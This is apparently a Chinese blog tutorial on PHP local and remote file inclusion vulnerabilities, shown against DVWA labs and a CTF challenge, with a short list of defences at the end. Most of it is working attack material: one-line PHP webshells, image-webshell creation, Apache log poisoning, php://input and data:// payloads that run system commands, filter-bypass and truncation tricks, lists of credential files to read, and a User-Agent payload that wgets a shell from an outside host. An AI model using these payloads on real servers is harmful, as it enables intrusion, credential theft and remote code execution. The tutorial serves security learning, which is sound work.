文件包含漏洞详解
文件包含漏洞
文件包含漏洞原理
大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。
但有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。
攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。
示例代码:
?page=a.php
?home=b.html
?file=content..
涉及到的危险函数
include #执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
include_once #同上,区别是如果该文件中已经被包含过,则不会再次包含。
require #程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
require_once #同上,区别是 PHP会检查该文件是否已经被包含过,如果是则不会再次包含。
文件包含漏洞的分类
1、本地文件包含漏洞
2、远程文件包含漏洞
本地文件包含漏洞:
仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。
很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力(例如上传webshell后用包含方式调用)。
远程文件包含漏洞:(RFI)remote file inclusion
能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂远程码
php远程包含漏洞必要参数
allow_url_include=on
magic_quotes_gpc=off
allow_url_fopen=on
allow_url_include=on
magic_quotes_gpc=off
allow_url_fopen=on
文件包含漏洞的上传技巧
1、小马+图片
方法一:直接伪造头部GIF89A
方法二:CMD方法,copy /b test.png+1.php muma.png
方法三:直接使用工具往图片中写入一句话木马。
2、小马+日志:
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。
Apache服务器运行后会生成两个日志文件,access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中
1、打开配置文件`httpd.conf”第299行
删除井号以取消注释
##CustomLog "logs/access.log" common
2、将一句话木马写到 url中的fiename 里
虽然会提示失败,但是会记录到日志文件中。**
#URL地址
http://xx.com/xx.php?filename=<?php @eval($_POST['123']);?>
#access_log中会有如下内容
..... GET /xx.php?filename=%3C?PHP%20@eval($_POST[%27123%27]);?%3E ......
3、然后用包含漏洞包含日志文件
小马就被运行了,但是由于编码的缘故有可能并不生效。用菜刀等工具连接试试
#URL
http://xx.com/xx.php?filename=../Apache/logs/access.log
利用php包含来读文件:
# 1 构造URL:x.php是实现传到服务器的一句话木马
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
# 2 通过bp抓包可以发现,返回的包里面有一串base64的加密字符串
# 3 将加密字符串解密,可得一句话木马
<?php eval($_POST['cmd']);>
php包含写文件:
注意:只有在allow_url_include为on的时候才可以使用,如果想查看回显结果那还要这样
-
在C:\php\php-5.2.14-Win32下找到php-apache2handler.ini
-
打开,查找
display_funtions=proc-open,oppen,exec,system…… -
删掉system,然后重启apache。
意思就是排除system命令
#构造URL:
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input
#抓包,修改提交的post数据为
<?php system('net user');?>
#在返回包中,应该能看到net user命令的执行结果
str_replace函数绕过:
使用str_replace函数替换指定的字符串是极其不安全的,因为可以使用很多方法绕过。
又假设设置的过滤../、..\、http://等,以防止目录穿越和远程文件
#1、可以路径嵌套
http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././xampp/htdocs/dvwa/php.ini
#2、绝对路径不受任何影响
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
#3、双写http头使用远程文件
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
fnmatch函数绕过:
经常会有开发,用fnmatch函数,用于指定只能用特定的文件名开头的文件
if(!fnmatch("file*",$file)&&$file!="include.php")
#本意是当include.php,又不是file开头的文件名时,就不能调用
#但殊不知有file://协议,也是可以读取文件的
http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。
File:// 访问本地文件系统
htt[p:// 访问HTTP(s)网址
ftp:// 访问FTP(s)URLS
php:// 访问各个输入/输出流(I/o streams)
zlib:// 压缩流
data:// 数据(RFC2397)
ssh2:// Secure Shell 2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径模式
#有时候对方程序员对协议进行限制我们可以多尝试尝另外的
PHP伪协议:
php://filter(本地磁盘文件进行读取)
使用条件:需要开启allow_url_fopen() 默认是开启的。激活了URL形式的fopen封装协议使得可以访问URL对象文件等,不需要开启allow_url_include()
php://filter/convert.base64-encode/resource=include.php #读取文件的代码,用burp去解码
Linux配合协议绝对路径:
示例:file:///etc/passwd
写入文件
# 明文写入
index.php?file2=php://filter/resource=test.txt&txt=helloworld
# 编码写入
index.php?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=helloworld
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==
php://input(执行PHP代码)
data:text/plain(执行代码)
data协议(取元数据,可直接执行代码)
前提:要打开allow_include_url()
data://text/plain,<?php system('tac flag.php') ?>
http://315afc03-d67c-465b-a073-4e9afc7c5b0e.challenge.ctf.show/?file=data://text/plain,<?php system('ls') ?>
#由于cat被过滤查不到信息,所以用tac或tail或head或
http://315afc03-d67c-465b-a073-4e9afc7c5b0e.challenge.ctf.show/?file=data://text/plain,<?php system('tac flag.php') ?>

文件包含漏洞的防御方法:
将需要包含的文件用白名单方式写死
常见的敏感信息路径
(3)一些常见的敏感信息路径:
Windows系统:
- c:\boot.ini // 查看系统版本
- c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
- c:\windows\repair\sam // 存储Windows系统初次安装的密码
- c:\ProgramFiles\mysql\my.ini // MySQL配置
- c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
- c:\windows\php.ini // php 配置信息
Linux/Unix系统:
- /etc/passwd // 账户信息
- /etc/shadow // 账户密码文件
- /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
- /usr/local/app/php5/lib/php.ini // PHP相关配置
- /etc/httpd/conf/httpd.conf // Apache配置文件
- /etc/my.conf // mysql 配置文件
绕过方法
空字符绕过
漏洞利用条件:
1、PHP版本小于5.3.4
2、关闭PHP魔术引号。
漏洞利用原理:
当sql句中含有单引号,双引号,反斜杠和NUL时,这时候如果不对这些符号进行转义,写入数据库时就会出错,而魔术引号magic_quotes_gpc()就是对这些符号进行转义以便能把数据正确写入数据库。
PHP魔术引号特性已自 PHP5.3.0起废弃并将自PHP5.4.0起移除。也就是说在本实验环境的PHP版本中仍是存在的。
程序自动在后面加了html等其他后缀的前提下,导致程序找不到原来的文件。攻击者可以从以下错误提示中知道程序是在输入参数后自动添加了后缀,方便下一次调整攻击姿势。

在关闭PHP魔术引号前,攻击者如果想利用00阶段来让程序误解字符串终止位置,输入http://192.168.1.4/test/include.php?path=info.jpg%00访问时,显示如下。

在靶机上打开对应PHP版本的配置文件php.ini,将下面的参数设置为Off,保存并重启phpstudy。

再次输入http://192.168.1.4/test/include.php?path=info.jpg%00访问时,显示如下。可以看到空字符成功将字符串截止,也就是说程序没能把html后缀加到输入参数后面了。

额外的方式:
额外地,假设我们通过其他方式知道了该文件包含漏洞能打开后缀名为html的文件,我们也可以直接上传一个文件名后缀为html文件,来直接访问,如http://192.168.1.4/test/include.php?path=info

使用长目录截断(php<5.2.8)
漏洞利用条件:
在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。
方法:
././././././././././././././etc/passwd
或者
etc/passwd
或者
../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
案例:
Linux中apache路径:
/var/log/httpd/access_log #一代
/var/log/apache2/access_log #二代
/var/log/apache/access_log
/opt/lampp/logs/access_log #lampp
linux中nginx中的日志路径:
/var/log/nginx/access.log
案例一:apache中的错误日志get shell
刚开始,我想直接在文件包含的地址的地方后面加发现报错了,但是当我浏览报错日志时,发现被编码了。所以应该用burp抓一下,然后在GET后面加入一句话木马。
第一步:先抓包,在请求的时候,GET后面修改,切记要加/并且在后面, 加入一句话木马

第二步:浏览一下日志中的一句话木马,发现成功
http://10.0.0.109/include.php?file=C:\phpStudy2013\Apache\logs\error.log
第三步:
用蚁剑去连接。成功Get shell

案例二:通过包含木马自动生成shell
目的:利用文件包含漏洞,执行图片马,生成shell代码。同样的,可以生成其他代码。
首先:在我们上传错误日志的时候,写入如下payload
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST[111])?>");?>
第二步:访问报错目录时,本机已经生成shell.php在本地目录下了
http://10.0.0.180/1.php?file=C:\phpStudy2013\Apache\logs\error.log
第三步:直接用蚁剑连接生成的shell.php即可
http://10.0.0.180/1.php?file=C:\phpStudy2013\Apache\logs\shell.php
案例三:利用PHP封装传输PHP文件
目的:读取网站源代码。上述利用方法一和方法四读取文件的结果,如果其中有PHP代码会被无条件执行,也就是说我们看到的将是PHP代码执行后的结果,如果想要看到PHP代码源码,需要用到此方法。
条件:要求PHP配置文件中将allow_url_include参数配置为On。
真实机浏览器访问时输入
192.168.1.4/test/include.php?path=php://filter/read=convert.base64-encode/resource=shell.php
页面显示内容如下。这里是利用PHP伪协议来读取文件,read表示读取文件内容,convert.base64-encode表示采用base64编码,resource后面跟资源文件名。

案例四:利用PHP封装执行PHP代码
- 目的:在本地或远程没有文件的前提下,直接执行PHP代码。
- 条件:要求PHP配置文件中将allow_url_include参数配置为On。
- 实验准备:在服务器根目录下test文件下新建txt文件,输入以下内容,并重命名为include.php。
实验步骤:
真实机打开BurpSuite,切换到repeater模块,复制上一个实验的URL,右键以URL形式添加请求。点击发送,可以看到响应内容与上一个实验一致。本实验将利用BurpSuite通过该请求来执行PHP代码。

修改PHP伪协议为php://input,同时在请求体中添加想要执行的PHP代码<?php phpinfo();?>,如下图,并点击发送。按教程来讲应该在响应中可以显示探针语句执行结果的,但是这里显示失败了,暂时没有早到原因。

案例五:通过远程包含getshell
test.txt文件,可以保存在远程服务器上,内容如下:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[nmask]);?>") ?>

如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php内容为:
<?php eval($_POST[nmask]);?>
案例六:利用/proc/self/environ进行包含
找到/proc/self/environ的绝对路径并访问,如果找到后,那我们就可以通过修改user-agent来进行php代码命令执行。
假设我们找到了绝对路径:
www.test.com/index.php?page=../../../../../proc/self/environ
选择User-Agent 写代码如下(选择一条去写):
<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[pwd]);?>")?>
案例七:利用php协议进行包含
data: php5.2以后版本
php://input
需要开启allow_url_include
poc:
http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00
案例八:PHP封装伪协议之php流input
原理:
PHP有很多内置URL风格的封装协议,这类协议与fopen(),copy(),file_exists(),filesize()等文件系统函数所提供的功能类似。
这类协议有:

利用php流input中流的概念,将原来的文件流重定向到了用户可控的输入流中执行命令。
1、登录操作机,打开浏览器,在浏览器中访问http://ip/include/include.php

2、访问http://ip/include/include.php?page=php://input

3、勾选"Post data",在提交post数据的位置输入"",并发送数据执行

4、发送""数据执行系统命令

各种流:
防御
防御
1、无需情况下设置allow_url_include和allow_url_fopen为关闭
2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir
3、尽量不使用动态包含
4、严格检查变量是否已经初始化。
5、建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。
6、严格检查include类的文件包含函数中的参数是否外界可控。
7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
8、在发布应用程序之前测试所有已知的威胁。
9、禁用不必要的php伪协议
10、开启open_basedir函数,将其设置为指定目录,则只有该目录的文件允许被访问。
11、关闭allow_url_include函数,防止远程文件包含。
https://blog.csdn.net/Fighting_hawk/article/details/123368750
https://blog.csdn.net/Fighting_hawk/article/details/123369596
https://blog.csdn.net/Fighting_hawk/article/details/123370720
文件包含会把一切文件当作PHP代码执行
1.任意文件访问
2.目录穿越

浙公网安备 33010602011771号